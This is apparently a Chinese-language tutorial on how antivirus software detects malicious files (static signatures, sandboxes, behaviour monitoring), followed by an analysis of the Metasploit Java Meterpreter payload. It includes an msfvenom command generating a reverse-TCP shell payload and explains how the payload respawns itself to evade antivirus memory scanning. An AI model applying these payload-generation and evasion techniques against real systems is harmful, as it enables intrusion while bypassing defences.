杀毒软件对文件危险的判定等级
从文件落地到磁盘上开始,杀毒软件就已经对落地文件进行了扫描与检测,这里我们需要知道杀毒软件对文件危险系数的判定等级。
1.无害
无害等级,没有任何问题。杀毒软件从此不会管你。
2.可疑
如果确定文件为可疑等级,那么杀毒软件会持续监控软件的行为特征。
3.确认病毒
如果确定文件为病毒,那么杀毒软件就会直接把文件刀掉。
国内外杀毒软件的区别
在上一步中,国内外杀毒软件对文件的检测是有区别的。
国内杀毒软件的病毒库,md5目的是不让病毒有落脚点。相当于把重点放在第一和第三等级的区分(宁可误杀,不可错过)。
而国外的杀毒软件会注重于第二等级的分析,会把重点放在内存查杀、监控等(宁可错过,不可误杀)。
杀毒软件查杀的方式
这个是老生常谈的话题了,这里就简单列举重复一下
静态
代码存在的函数
将shellcode加载到内存当中,必须使用windows的api函数。
所以一些危险的函数(特别是指内存、堆、栈、线程相关的函数)会被加入静态特征库。比如 Virtualalloc
,rtlmovememory
,ntcreatthread
等。
当然某些代码中的关键词也会被识别。比如在python中有Subprocess.popen
,java中有Runtime.exec
等。
shellcode的特征
像msf,cs等工具生成的shellcode都是一样的,所以会被加入特征库
文件名称或md5
加密
使用加解密行为的文件,或者对文件有加壳措施都会被识别为可疑文件,静态查杀中也会对其进行关注。
动态
通常在静态分析之后会有一个动态的查杀过程,部分杀毒软件会有沙盒。
沙盒
沙盒:也叫做启发式查杀,通过模拟计算机的环境执行目标文件再观察特征行为。
沙盒模拟的常见特征:
1 | 内存较小:不影响计算机正常运行 |
行为检测
行为检测是指杀毒软件对于一些事件(一些操作)进行行为检测,当触发这些条件时就会做出对应的应对措施。
计算机内部相关
服务
,注册表
,组策略
,防火墙
,敏感程序(cmd,powershell,wmi,psexec,rundll)
,用户添加、删除、修改等操作文件夹
(c:/windows/system32等)
网络相关
socket外联,小马拉大马操作,ip,域名等安全匹配,流量内容等。
MeterPreter源码分析
使用msf首先生成一个jar源码
1 | msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.133 LPORT=4444 > 1.jar |
接下来使用软件jd-gui
反编译源码进行分析。
可以看到我们有三个文件分别是MANIFEST.MF
,PAYLOAD.CLASS
,METASPLOIT.DAT
这里为了方便看,我把他们打包出来放在了idea里面。我们一个个来分析。
首先是MANIFEST.MF
文件
1 | Manifest-Version: 1.0 |
这个文件的作用主要是为了告诉java虚拟机我们打开一个jar包需要从哪儿开始运行。可以看到它告诉虚拟机这个程序需要我们从metasploit文件夹下Payload这个文件开始运行。
再接着是metasploit,dat
文件
1 | Spawn=2 |
这个文件是指定了我们的LHOST和LPORT,这个spawn字段稍后解释。
最后就是Payload.class
文件
可以看到这里代码量很长,我们就截取几段重点的来分析。
首先开头是文件自动获取一些系统信息,其中有你的操作系统信息还有路径分隔符信息。
这里创建了一个配置文件,用来读取上面提到的metasploit,dat
文件。
这里进行了一系列的创建文件操作(都是为了获得文件的绝对路径),其最终的目的是为了
1 | 执行以下系统命令 |
这样做的目的是再次拉起我们的payload.class文件(拉起自己),但是不同的是SPAWN值进行了改变。接下来又进行了下一次的循环。
总结了一下,该文件进行了内存循环二次(让SPAWN字段从2变为了0)的操作,其目的是在于躲避杀软,它进行了多次拉取后在使用socket链接,相当于就是为了混淆杀软的内存特征。并且使用了小马拉大马的操作,这样可以让我们的文件变小,减少了特征。